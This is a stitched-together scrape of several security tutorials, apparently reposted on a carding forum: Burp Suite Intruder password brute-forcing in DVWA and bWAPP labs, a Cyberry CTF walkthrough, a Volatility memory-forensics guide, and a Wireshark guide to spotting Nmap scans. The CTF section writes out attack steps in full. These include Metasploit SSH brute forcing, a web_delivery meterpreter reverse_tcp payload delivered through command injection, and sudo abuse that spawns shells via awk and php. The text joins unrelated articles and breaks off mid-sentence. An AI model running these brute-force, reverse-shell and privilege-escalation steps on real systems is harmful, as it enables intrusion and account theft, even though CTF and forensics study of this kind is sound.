This is one of the simple types of payload, as it allows you to configure a short Dictionary of strings which are used as payload.
First, we intercept the request of the login page in the DVWA LAB, where we have given a random username and password. Then click on login, the burp suite will capture the request of the login page.
[Image: 6.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select positions and you can observe the highlighted username and password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack which is the username and password and click on Add button.
Choose the Attack type as Cluster Bomb.
In the given below image we have selected username and password that means we will need two dictionary files i.e. one for username and second for password.

So now, go to Payloads tab and the select 1 from Payload set (this ‘1’ denotes the first file to be selected). Then click on Load button and select your dictionary file for username.
[Image: 8.png?w=687&ssl=1]

Now select 2 in the Payload set and again give the dictionary file for the password. Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]

Now the burp suite will do its work, match the valid combination of username and password and will give you the correct password and username. The moment it will find the correct value, it will change the value of length as shown.
[Image: 10.png?w=687&ssl=1]

And to confirm the username and password matched, we will give the matched username and password in the DVWA LAB login page. We will see a message “Welcome to the password protected area admin” which shows are success in the simple list payload attack.
[Image: 11.png?w=687&ssl=1]

Runtime File
This type of payload allows you to configure a file which reads the payload strings at runtime. This type of payload is needed when we require a large list of payloads, to avoid holding the entire list in memory. This payload allows you to configure large list of strings which overcomes the simple list payload type.
First, we have intercepted the request of the login page in the DVWA LAB, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]

Send the captured request to the Intruder and follow given below step. Now open the Intruder tab then select positions and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload type” as Runtime File and then give the path of dictionary in the “payload options” as /usr/share/wordists/rockyou.txt which is the largest dictionary in Kali Linux. Select Start Attack in the Intruder menu.
[Image: 14.png?w=687&ssl=1]

Now the burp suite will do its work, match the password and will give you the correct password. The moment it will find the correct value, it will change the value of length as shown.
[Image: 15.png?w=687&ssl=1]

Case Modification
This type of payload allows you to configure a list of strings and apply various case modifications to each item on the list. This is useful in password guessing attacks, for generating case variations on dictionary words.
The following case modification rules can be selected:

No change – The item is used without being modified.
To lower case – All letters in the item are converted to lower case.
To upper case – All letters in the item are converted to upper case.
To Proper name – The first letter in the item is converted to upper case, and the remaining letters are converted to lower case.
To Proper Name – The first letter in the item is converted to upper case, and the remaining letters are not changed.

For example, if we select all the modification options, then the item “Raj Chandel” will generate the following payloads:
Raj Chandel
raj chandel
RAJ CHANDEL
Raj chandel
First, we intercept the request of the login page in the DVWA LAB, where we have given a random username and a random password. Then click on login , the burp suite will capture the request of the login page in the intercept tab. Send the captured request to the Intruder by right clicking on the space and selecting Send to Intruder option or simply press ctrl + i.
[Image: 17.png?w=687&ssl=1]

Now open the Intruder tab then select positions and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload” type as Case Modification, we have selected the No change and to lower case fields in the “payload options” of the case modification as shown in the image. We have added a default Password dictionary from the Add from list field in the payload options. Select Start Attack in the Intruder menu as shown in the image.
[Image: 19.png?w=687&ssl=1]

Numbers
This type of payload generates numeric payloads within a given range and in a specified format.
The following options are available in this payload:

Number range:

Type – the type options describes that the numbers should be generated sequentially or randomly.
From – If numbers are being generated sequentially, this is the value of the first number that will be generated.
To – If numbers are being generated sequentially, this value of the last number that will be generated. It is said as the highest possible number that may be randomly generated.
Step – the step option is used when numbers are being generated sequentially and specifies the increment in the successive numbers.
How many – This option is available when numbers are being generated randomly, and specifies the number of payloads that will be generated

First, we intercept the request of the login page in the Bwapp Lab, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page.
[Image: 22.png?w=687&ssl=1]

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the Payload type as Numbers where we have set the number range from 100 to 150 and we have set the step as 1 as shown in the image, select Start Attack in the Intruder menu.
[Image: 24.png?w=687&ssl=1]

As the password matches with a number which is between the given number range. And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack.
[Image: 26.1.png?w=687&ssl=1]

Brute Forcer
This type of payload generates a payload of specified lengths that contain all permutations of list of characters in the given string.
The following options are available:

Character set – The set of characters to be used in the payloads. Note that the total number of payloads increases exponentially with the size of this set.
Min length – The length of the shortest payload.

Max length – The length of the longest payload.

First, we intercept the request of the login page in the Bwapp LAB, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page.
[Image: 26.png?w=687&ssl=1]

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload type” as Brute Forcer where we can give any kind of input into the “character set” as shown in the figure , as we have given 213 and we have set the Min length as 3 and Max length as 3 as shown in the image. We can manually give the Min length and Max length as per your need. Select Start Attack in the Intruder menu as shown in the image.
[Image: 28.png?w=687&ssl=1]

Great!! We have used Top 5 payloads of Burpsuite for login page brute force attack successfully.
Note: In this articles (part-1) we will be performing top 5 payload types and the rest of the payload types will be discussed in the (part-2) of this article.

Hello friends! Today we are going to take another CTF challenge known as Cyberry: 1. the credit for making this vm machine goes to “Cyberry” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -sV 192.168.0.18
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the webpage we use nikto to find more information.
nikto -h

[To see content please register here]

Nikto scan shows us the login page. We open

[To see content please register here]

on our browser.
[Image: 5.1.png?w=687&ssl=1]

We don’t find anything on the login page but a link to the main site

[To see content please register here]

While going through the links on the page. I found an image called placeho1der.jpg
[Image: 6.png?w=687&ssl=1]

We convert it from negative image into normal image. And we find it was a picture of 4 artists Smiley Lewis, Dave Edmunds, Fats Domino and Gale Storm.
[Image: 7.png?w=687&ssl=1]

On further research I found that they all sang the same song “I hear you knocking”. From the name of the song and the port image, I concluded it had something to do with port knocking. So I used the release date of the song as the port.
knock 192.168.0.18 1970 1955 1955 1961

After port knocking we did a nmap scan to check if any port is open and we find that port 61955 opened after port knocking
nmap -p- 192.168.0.18
[Image: 10.png?w=687&ssl=1]

We try netcat but are showed nothing so we open it in our browser; we find that it is running the same website on a different port.
[Image: 11.png?w=687&ssl=1]

We use dirb to check if there are any different directories on this port.
dirb

[To see content please register here]

We find a new directory

[To see content please register here]

, we open it and find brain-fuck encoded strings.
[Image: 13.png?w=687&ssl=1]

We use an online tool to decode the string 1 by 1 and we found a list of username and password. We save the username in one text file and the password in another.
[Image: 14.png?w=687&ssl=1]

Now we try to brute force ssh using these credentials. We use metasploit to brute force ssh.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.0.18
msf auxiliary(ssh_login) > set user_file /root/user.txt
msf auxiliary(ssh_login) > set pass_file /root/pass.txt
msf auxiliary(ssh_login) > run
[Image: 15.png?w=687&ssl=1]

We find that the username is mary and password is bakeoff, but we cannot connect through ssh using these credentials. So we use these to login through ftp.
ftp 192.168.0.18
[Image: 16.png?w=687&ssl=1]

After login through ftp we go inside .bash_history directory there we find 2 files.
[Image: 17.png?w=687&ssl=1]

We download it into our system and rename them.
get .reminder.enc /root/reminder
get .trash /root/trash
[Image: 18.png?w=687&ssl=1]

We check the file type and find that reminder is encrypted and trash contains password to decrypt it.
file reminder
file trash
cat trash
[Image: 19.png?w=687&ssl=1]

Now we use openssl to decrypt it. We create shell code to decrypt it as there are multiple passwords to be used and multiple types of encryption. We save it in files with name format as decrypted{encryption}{password}.
for i in ‘openssl enc -ciphers | tail -n +2’ ; do for j in ‘cat trash’; do openssl ${i:1} -d -salt -md md5 -in reminder -out “decrypted$i$j” -k $j; done;done 2>/dev/null
[Image: 20.1.png?w=687&ssl=1]

Now we check the decrypted files which contain ascii text.
file * | grep ASCII
[Image: 20.2.png?w=687&ssl=1]

We open the file that contains ASCII text and find it contains a password.
[Image: 20.3.png?w=687&ssl=1]

We use this password to login at

[To see content please register here]

. We use the username we used earlier to brute force ssh and find the username to be mary.
Now once we login we find a link to page.
[Image: 20.png?w=687&ssl=1]

When we open the link we find a page that does DNS lookup, it looks like it may be vulnerable to command injection.
[Image: 21.png?w=687&ssl=1]

Now we metasploit to exploit command injection using web_delivery.
msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.0.12
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
[Image: 23.png?w=687&ssl=1]

We use burpsuite to capture the request and execute the command given by metasploit to execute our shell.
[Image: 22.png?w=687&ssl=1]

Now we use generate a python tty shell.
python -c “import pty; pty.spawn(‘/bin/bash’)”
we find a few files, when we open nb-latin we find it contains a few password.
[Image: 25.png?w=687&ssl=1]

We download the ‘nb-latin’ file to use it to bruteforce ssh using the username we found earlier.
[Image: 26.png?w=687&ssl=1]

We use metasploit to bruteforce ssh using the new password file we found.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.18
msf auxiliary(scanner/ssh/ssh_login) > set user_file user.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file nb-latin
msf auxiliary(scanner/ssh/ssh_login) > run
[Image: 27.png?w=687&ssl=1]

We find the password to be custodio for nick. Now once we login through ssh we check the sudoers list and there are 2 files we can a user terry.
[Image: 28.png?w=687&ssl=1]

When we run invoke.sh we find it asks for program as arguments. So we try to run /bin/bash along with the shell script.
sudo -u terry /home/nick/invoke.sh /bin/bash
[Image: 29.png?w=687&ssl=1]

Now we are login as terry, we again check the sudoers list. We find that we can run awk as user halle. So we spawn a shell using awk as user halle.
sudo -u halle awk ‘BEGIN {system(“/bin/bash -I”)}’
[Image: 30.png?w=687&ssl=1]

As soon as we spawn a shell we login as halle. We again check sudoers list and find we can run php as user chuck. When we spawn a tty shell using chuck it crashes. So we create a php file to enumerate directories. We find a directory called .deleted/
echo <?php(‘ls /home/chuck/’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 31.png?w=687&ssl=1]

When we go inside .deleted folder we find a file deleted.
echo <?php(‘ls /home/chuck/.deleted/’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 33.png?w=687&ssl=1]

Now we create a php file to open the file called deleted.
echo <?php(‘cat /home/chuck/.deleted/deleted’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 33.png?w=687&ssl=1]

Once we open the file we get a hint to create a password in which ‘e’ is used thrice, [c,r,b,a] are used twice and [h,w,m,y] are used once that makes the password 15 characters long. Also the password starts with che and ends with rry and contains baca in between.
[Image: 34.png?w=687&ssl=1]

We use crunch to create dictionaries with che at start and rry at end with baca at different positions.
[Image: 35.png?w=687&ssl=1]

We then merge the all dictionaries into one using dymerge.
[Image: 36.png?w=687&ssl=1]

We add root to the dictionary we used first to brute-force ssh.
[Image: 37.png?w=687&ssl=1]

Now we use metasploit to bruteforce ssh using the the new dictionaries.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.18
msf auxiliary(scanner/ssh/ssh_login) > set user_file user.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file password.txt
msf auxiliary(scanner/ssh/ssh_login) > run
[Image: 38.png?w=687&ssl=1]

Now we find the username as ‘root’ and password to be ‘chewbacabemerry’. Now we take the session and we are login as root.
[Image: 39.png?w=687&ssl=1]

[Guide] How to Memory Forensics Investigation using Volatility (Part 1)

Posted by: NINZA - 05-14-2020, 06:47 AM - Forum: Carders Home - No Replies

Our focus today is on the Volatility framework, on its capability of analyzing process activity.
The Volatility framework is an open source tool that is used to analyze volatile memory for a host of things. This framework comes with various plugins that can be used by the investigators to get an idea of what was going on in the machine when it was being used. Volatile memory is the primary storage of most computers, by primary storage I’m referring to the RAM.
If the live acquisition is done for a piece of evidence, an image of the volatile memory can hold various clues that can help an investigation, for instance: passwords, services, network activity, processes, etc. All these can be acquired from live memory.
In another instance, after an incident, volatility can be used to uncover the cause. It has plugins that let you sift through the primary storage and pinpoint suspicious processes that might have been running at the time of the incident or might have led up to it.
This framework is available for both Windows and Linux, for this demonstration, we will be using Volatility in Kali Linux, it comes pre-installed and can be found under the Forensics menu.
We have used Dump it to create the .raw file for 2 GB of RAM from a machine running Windows 10.
All you need to do it download the program, run it and press “y” and it does the rest.
[Image: 1.PNG?w=687&ssl=1]
Navigate to the address given in front of the Destination, as it is shown in the image above and you will find the .raw file that contains the information copied from the RAM, this can now be subjected to the Volatility framework.
[Image: 2.PNG?w=687&ssl=1]
For ease of usage, create a folder by the name of “volatility” on the Kali desktop and place the .raw file we created on it. Right-click anywhere in the folder and choose open in Terminal.
Let’s fire up Volatility in Kali, navigate to the Forensics menu or, in the terminal type volatility -h.
[Image: 3.PNG?w=687&ssl=1]
This command will show you a host of plugins that are available in Volatility along with their usage pattern. We will be using a different .raw file here, it was acquired earlier, so don’t be thrown off by the change in the file name.
As an investigator, one is working under the pretense that this is a file we have no prior knowledge about so, we must start from scratch.
The first thing to ascertain is the profile, that is, the operating system that this was most probably derived from.
Type “volatility -f name of the file. Raw imageinfo”. A breakdown of the command for further reference:
-f is to declare the target file.
Imageinfo is used to get the basic details about the file, including the profile. The plugin uses the kernel debugger data block to guess the profile.
[Image: 4.PNG?w=687&ssl=1]
In the image above we can see that Volatility is telling us that this image file most probably belongs to the Win10*64_10586 profile. The guessing aspect of the plugin bases it’s functionality on another plugin called kdbgscan. The kdbgscan analyses the data structures present in the NT kernel module, there are numeric values that denote the minor and major build numbers and service-pack level.
To illustrate, let’s run the kdbgscan.
Type “volatility -f name of file.raw kdbgscan”.
[Image: 5.PNG?w=687&ssl=1]
The result of the profile that we will be using is this one.
The data given below tells us that the file belongs to a 64-Bit version of Windows 10, has no installed service pack, and has a total of 177 loaded modules and 82 active processes.
[Image: 6.PNG?w=687&ssl=1]
Volatility gives us the option to manually override the profile (–profile) while using plugins as the automatic OS detection can be misled due to accidental or intended tampering of the kernel by malware; this gives us a higher rate of accuracy in the operations we perform. We will be using this override function throughout combined with the plugins.
pslist
The machine might have been running certain processes; the plugin we will be using to find them is pslist.
Type “volatility -f name of file.raw –profile Win10*64_10586 pslist”

The scan will show us the following results. We can see OneDrive and Skype were being run on the machine so, we can infer that it is most probably a client or workstation rather than a server. All the system processes are running on session 0 and 1, which infers that only 1 user was logged on
[Image: 8.png?w=687&ssl=1]
psscan
The psscan plugin uses the _EPROCESS objects, it can be used to determine hidden and terminated processes.
Type the following “volatility –f name of the file.raw –profile Win10*64_10586 psscan”

The scan shows us that one of the processes by the name of TabTip.exe started and stopped within a second, it’s a process that is used by windows touch screen devices for touch keyboard and handwriting, by this we can infer the device did not have touch screen capabilities. Not the most potent of discoveries but it helps build a profile for further investigation.
[Image: 12.png?w=687&ssl=1]
psxview
The last plugin we will be utilizing will be psxview. This plugin is useful for uncovering malicious processes, the way it assists in this is by locating processes that are using alternative listings. The list can then be cross-referenced with different sources of information to pinpoint discrepancies.
Type the following “volatility –f name of the file.raw –profile Win10*64_10586 psxview”

The psxview enumerates every single process by Process Object scanning, thread scanning, CSRSS handle table, PspCid table, Sessions processes, Desktop threads, and Active Processes Linked list. That’s 7 ways of enumeration.
This plugin is very useful and efficient at finding rootkits. One of the things that it focuses on is that, being able to successfully weaponize a process that is not hidden is far more practical and efficient than to hide a process 7 different ways.
[Image: 14.png?w=687&ssl=1]
pstree
The pstree plugin is used to see the parent-child relationship between processes, it takes the output from the pslist and depicts it in a tree view format.
Type “volatility –f name of the file.raw –profile Win10*64_10586 pstree”

The Pstree scan shows the process tree-like process id, PPid, threads and the time it starts.
[Image: 10.png?w=687&ssl=1]
Volatility is a very robust framework, it gives us the ability to further apply various filters to our scan results and generate reports. To make it more comprehensive in its usage and approach, its capabilities have been designed based on reverse engineering. It has capabilities far surpassing even that of Microsoft’s own kernel debugger.
The tool provides a wealth of insights into the working of a machine, helping the investigator make accurate and coherent profiles, every bit of information gets the forensic process one step closer to uncovering the truth.

Today we are discussing how to read hexadecimal bytes from an IP Packet that helps a network admin to identify various types of NMAP scanning. But before moving ahead please read our previous both articles “

[To see content please register here]

” and “

[To see content please register here]

” it will help you in a better understanding of this article.
Requirement
Attacking Tool: Nmap
Analysis Tool: Wireshark
We are going to calculate hexadecimal bytes of Wireshark using given below table and as we know Wireshark capture network packet mainly of 4 layers which are described below in table as per OSI layer model and TCP/IP layer model.
[Image: 0.png?w=687&ssl=1]

Nmap ARP Scanning
Let ’s start!!
Hopefully, the reader must be aware of basic NMAP scanning techniques if not then read it from

[To see content please register here]

, now open the terminal and execute given below command which known as “HOST SCAN” to identify a live host in the network.
nmap -sn 192.168.1.100
1
nmap -sn 192.168.1.100
Nmap uses the –sP/-sn flag for host scans and broadcasts ARP request packet to identify which IP is allocated to the particular host machine. From given below image you can observe that “1 host up” message.
Working of ARP Scan for Live Host

Send ARP request for MAC address
Receive MAC address through ARP Reply packet

Step to Identify Nmap ARP Scan

Collect Ethernet Header details

Here we used Wireshark to capture the network packet coming from victim’s network and in order to analysis only ARP packet we have applied filter “ip.addr == VICTIM IP || arp” as shown in given below image. Here you will find 2 arp packets, basically, the 1st arp packet is broadcasting IP for asking MAC address of that network and the 2nd packet is unicast contains Answer of IP query.
Now let’s read Hex value of Ethernet header for identifying source and destination Mac addresses along with that we can also enumerate the bytes used for an encapsulated packet, in order to identify Ether type is being used here.
[Image: 2.1.png?w=687&ssl=1]

Hence from Ethernet header, we can conclude it as ARP broadcast packet asking for destination Mac address. There shouldn’t be any uncertainty in concern with source Mac address who is responsible for sending packet but if we talk about Destination Mac address then we got ff:ff:ff:ff:ff:ff:ff which means exact Destination is the machine is not available here. Further moving ahead we found Ether type 0x0806 highlighted in yellow colour is used for ARP protocol.
[Image: 2.png?w=687&ssl=1]

Collect ARP Header (Request/Reply)
In order to identify ARP scan, you need to investigate some important parameters which could help a network admin to make a correct assumption in concern of ARP scan.
Try to collect the following details as given below:

Opcode (Request/Reply)
Source Mac
Source IP
Destination MAC
Destination IP

Now with help of the following table, you can read the hex value highlighted in above and below image for ARP Request and Reply packets respectively.
[Image: 4.1.png?w=687&ssl=1]

Nmap ICMP Scanning
Now execute given below command which known as “HOST SCAN” to identify a live host in a network by sending Ping request with the help of ICMP packet.
nmap -sn 192.168.1.100 –disable-arp-ping
1
nmap -sn 192.168.1.100 –disable-arp-ping
Now above command will send ICMP request packet instead of ARP request for identifying the live host in a network.
Working of NMAP ICMP Ping when a host is live:

Send ICMP echo request packet.
Receive ICMP echo reply.

Send TCP SYN packet on any TCP port (this port must be rarely blocked by network admin).

Receive TCP RST-ACK from target’s Network.

As a result, NMAP gives “HOST UP” message as shown in given below image.
[Image: 4.png?w=687&ssl=1]

Step to Identify NMAP ICMP Scan

Collect IP Header Details for Protocol version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800
Since we know ICMP is Layer 3 protocol according to the OSI model, therefore, we need to focus on following details for ICMP forensic with help of IP Header of a packet.
Try to collect the following details as given below:

Ip header length 20 Bytes (5bits*4=20 bytes)
Protocol (01 for ICMP)
Source IP
Destination IP

From given below image you can observe Hexadecimal information of IP header field and using the given table you can study these value to obtain their original value.
[Image: 23.png?w=687&ssl=1]

The IP header length is always given in form of the bit and here it is 5 bit which is also minimum IP header length and to make it 20 bytes multiple 5 with 4 i.e. 5*4 bytes =20 bytes.
Identify ICMP Message type (Request /Reply)
Now we had discussed above according to Nmap ICMP scanning technique the 1st packet is should be ICMP echo request packet and a 2nd packet is should be of ICMP echo reply packet.
[Image: 25.png?w=687&ssl=1]

Now with help of the following table, you can read hex value highlighted in above and below image for ICMP Request and Reply packets respectively.
[Image: 26.1.png?w=687&ssl=1]

Identify TCP Flags
AS discussed above after ICMP reply, the 3rd packet should be of TCP-SYN packet and 4th should be of TCP-RST/ACK. We had seen in our previous article the hex value of all TCP-Flags are different from each other, so if we are talking for TCP-SYN flag then its Hex value should 0x02.
From given below table you can observe the sequence of TCP flag and how bits of these flags are set for sending the packet to the destination port.
For example, if you found TCP SYN packet then the bit for SYN flag is set 1 for which the binary value will be 000000010 and its hexadecimal will be 0x02.
NS
CWR
ECE
URG
ACK
PSH
RST
SYN
FIN
0
0
0
0
0
0
0
1
0
Sometime you will get the combination of two or more flag in TCP header, so in that scenario take the help of the following table to read the Hex value of such packet to identify TCP flags bits are being set 1.
For example, if you found TCP SYN/ACK packets then indicates that SYN & ACK flags are set 1 for which the binary value will be 000010010 and its hexadecimal will be 0x12
NS
CWR
ECE
URG
ACK
PSH
RST
SYN
FIN
0
0
0
0
1
0
0
1
0
Therefore I design below table to let you know more about of Hex value when two or more than two flags are set 1.
[Image: 27.1.png?w=687&ssl=1]

The image given above contains the hex value of TCP-SYN packets and the image given below contains the hex value of TCP-RST/ACK packet from which we can calculate the source port and the destination port of the packet respectively like one given below.
[Image: 28.1.png?w=687&ssl=1]

Conclusion! So as stated above regarding the working of NMAP ICMP scan, we had obtained the hex value for every packet in the same sequence. Obtaining the hex value for every packet in such sequence gives the indication to the Penetration tester that Someone has Choose NMAP ICMP scan for Network enumeration.
[Image: 28.png?w=687&ssl=1]

Default NMAP Scan (Stealth Scan)
Here we are going with the default scan method to enumerate the “open” state of any specific port
nmap -p80 192.168.1.100
1
nmap -p80 192.168.1.100
Working of Default Scan for open port:

Send TCP-SYN packet
Receive TCP-SYN/ACK
Send TCP-RST packet

It is also known as half Open TCP Scan as it does not send ACK packet after receive SYN/ACK packet.
[Image: 29.png?w=687&ssl=1]

Step to Identify NMAP Default Scan (Stealth Scan)

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800.
Try to collect the following details as given below:

Ip header length 20 Bytes (5bits*4=20 bytes)
Protocol (6 for TCP)
Source IP
Destination IP

From given below image you can observe Hexadecimal information of the IP header field and using the given table you can study these value to obtain their original value.
[Image: 35.png?w=687&ssl=1]

Analysis TCP Header Details

Since from the above image we had to obtain Source and Destination IP and protocol used for communication i.e. TCP, now we need to identify the source and Destination port and TCP Flag used for establishing the connection between two systems.
In the image we have highlighted source port in “Light brown” colour and destination port in “yellow colour”, you can use given below table to read the hex value of the given image.
[Image: 31.1.png?w=687&ssl=1]

So we come to know that here TCP-SYN packet is used for sending connection request on Port 80.
[Image: 31.png?w=687&ssl=1]

Again we read next packet then here we found hex value 12 indicates that TCP-SYN/ACK has been sending from port 80.
[Image: 32.1.png?w=687&ssl=1]

Take the help given above table to read the hex value of the given image. Hex value 12 for TCP flag is used for SYN + ACK as explained above, and we get 0x12 by adding Hex value “ 0x02 of SYN” and “0x10 of ACK”.
[Image: 32.png?w=687&ssl=1]

In the image given below, we come to know that TCP-RST packet is used for sending Reset connection to Port 80.
[Image: 33.1.png?w=687&ssl=1]

Conclusion! So as declared above regarding the working of NMAP default scan or NMAP stealth scan we had to obtain the hex value for every packet in the same sequence. Obtaining the hex value for every packet in such sequence gives an indication to the Penetration tester that Someone has Choose NMAP Default scan for Network enumeration.
[Image: 33.png?w=687&ssl=1]

Nmap TCP Scan
Here we are going with TCP scan to enumerate state of any specific port
nmap -sT -p80 192.168.1.100
1
nmap -sT -p80 192.168.1.100
Working of Default Scan for open port:

Send TCP-SYN packet
Receive TCP-SYN/ACK

Send TCP-ACK packet
Send TCP-RST/ACK packet

Step to Identify NMAP TCP Scan

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800.
Try to collect the following details as given below:

Ip header length 20 bytes (5bits*4=20 bytes)
Protocol (06 for TCP)
Source IP
Destination IP

It is quite similar to NMAP stealth Scan and using a given table you can study these values to obtain their original value.
[Image: 35.png?w=687&ssl=1]

Analysis TCP Header Details

NMAP TCP Scan follows 3-way handshake of TCP connection for enumeration open port. Identifying source and destination port along with Flag hex value (TCP-SYN) are similar as above.
[Image: 36.1.png?w=687&ssl=1]

So we come to know that here TCP-SYN packet is used for sending connection request on Port 80.
[Image: 36.png?w=687&ssl=1]

Again we read next packet then here we found hex value 12 indicates that TCP-SYN/ACK has been sent via port 80.
[Image: 37.1.png?w=687&ssl=1]

The only difference between Stealth Scan and TCP scan is that here a packet of ACK flag is sent by source machine who initiate the TCP communication. Again we read next packet then here we found hex value 0x10 indicates that TCP- ACK has been sent via port 80.
[Image: 38.1.png?w=687&ssl=1]

Conclusion! So as stated above regarding the working of NMAP TCP scan, we had obtained the hex value for every packet in the same sequence. Obtaining the hex value for every packet in such sequence gives an indication to the Penetration tester that Someone has Choose NMAP Default scan for Network enumeration.
NOTE: For packet TCP-RST/ACK the hex value will be “ 0x14” send by the attacker machine
[Image: 38.png?w=687&ssl=1]

Nmap FIN Scan
Here we are going with TCP-FIN scan to enumerate “OPEN” state of a particular port in any Linux based system, therefore, execute given below command.
nmap -sF -p22 192.168.1.104
1
nmap -sF -p22 192.168.1.104
Working of FIN Scan for open port: Send 2 packets of TCP-FIN on a specific port
FIN is part TCP flag and NMAP used FIN flag to initiate TCP communication instead of following three-way handshake communication.
[Image: 39.png?w=687&ssl=1]

Step to Identify NMAP FIN Scan

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800
Try to collect the following details as given below:

Ip header length 20 Bytes (5 bits*4=20 bytes)
Protocol (06 for TCP)
Source IP
Destination IP

It is quite similar to NMAP above Scan and using given below table you can study these values to obtain their original value.
[Image: 40.1.png?w=687&ssl=1]

Analysis TCP Header Details

Now lets Identifying the source and destination port along with Flag hex value (TCP-FIN) is similar as above.
[Image: 41.1.png?w=687&ssl=1]

So through given below image and with help of a table, we came to know that here TCP-FIN packet is used for sending connection request on Port 22.
Conclusion: So as declared above regarding the working of NMAP FIN scan, we had obtained the hex value for every packet in the same sequence.
Obtaining the hex value for every packet in such sequence gives an indication to the Penetration tester that Someone has Choose NMAP FIN scan for Network enumeration.
NOTE: If you found 1st FIN packet (0x01) and 2nd RST packet (0x04) then indicates “Closed Port” on the targeted network.
[Image: 41.png?w=687&ssl=1]

Nmap NULL Scan
Here we are going with TCP Null scan to enumerate “OPEN” state of any specific port in any Linux based system.
nmap -sN -p22 192.168.1.104
1
nmap -sN -p22 192.168.1.104
Working of Null Scan for open port: Send 2 packets of TCP-NONE on a specific port
Here NMAP used NONE flag (No flag) to initiate TCP communication and bit of each flag is set “0” instead of following three-way handshake communication.
[Image: 42.png?w=687&ssl=1]

Step to Identify NMAP Null Scan

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800
Try to collect the following details as given below:

Ip header length 20 Bytes (5bits*4=20 bytes)
Protocol (06 for TCP)
Source IP
Destination IP

It is quite similar to NMAP above Scan and using the given table you can study these values to obtain their original value.
[Image: 43.1.png?w=687&ssl=1]

Analysis TCP Header Details

Now lets Identifying the source and destination port along with Flag hex value (TCP-NONE) is similar as above.
[Image: 44.1.png?w=687&ssl=1]

So through given below image and with help of a table, we come to know that here TCP-NONE packet is used for sending connection request on Port 22.
Conclusion: So as stated above regarding the working of NMAP NONE scan, we had obtained the hex value for every packet in the same sequence.
Obtaining the hex value for every packet in such sequence gives an indication to the Penetration tester that someone has Chosen NMAP NONE scan for Network enumeration.
NOTE: If you found 1st NONE packet (0x00) and 2nd RST packet (0x04) then indicates “Closed Port” on the target network.
[Image: 44.png?w=687&ssl=1]

Nmap XMAS Scan
Here we are going with XMAS scan to enumerate “OPEN” state of any specific port in any Linux based system
nmap -sX -p22 192.168.1.104
1
nmap -sX -p22 192.168.1.104
Working of XMAS Scan for open port: Send 2 packets of TCP Flags in a combination of FIN, PSH, URG on the specific port.
Here NMAP used 3 TCP flags (FIN, PSH, and URG) to initiate TCP communication and bit of each flag is set “1” instead of following three-way handshake communications.
[Image: 45.png?w=687&ssl=1]

Step to Identify NMAP XMAS Scan

Collect IP Header Details for Protocol Version

For reading data of Ethernet head visit to our previous article “

[To see content please register here]

”.
NOTE: Ether type for IPv4 is 0x0800
Try to collect the following details as given below:

Ip header length 20 Bytes (5bits*4=20 bytes)
Protocol (06 for TCP)
Source IP
Destination IP

It is quite similar to NMAP above Scan and using the given table you can study these values to obtain their original value.
[Image: 46.1.png?w=687&ssl=1]

Analysis TCP Header Details

Now lets Identifying the source and destination port along with Flag hex value (TCP-XMAS) is similar as above.
[Image: 47.1.png?w=687&ssl=1]

So through given below image and with help of the table, we come to know that here TCP flags {FIN, PSH, URG} packet is used for sending connection request on Port 22.
Conclusion! So as stated above regarding the working of NMAP XMAS scan, we had obtained the hex value for every packet in the same sequence.
Obtaining the hex value for every packet in such sequence gives the indication to the Penetration tester that someone has Choose NMAP XMAS scanned for Network enumeration.
NOTE:

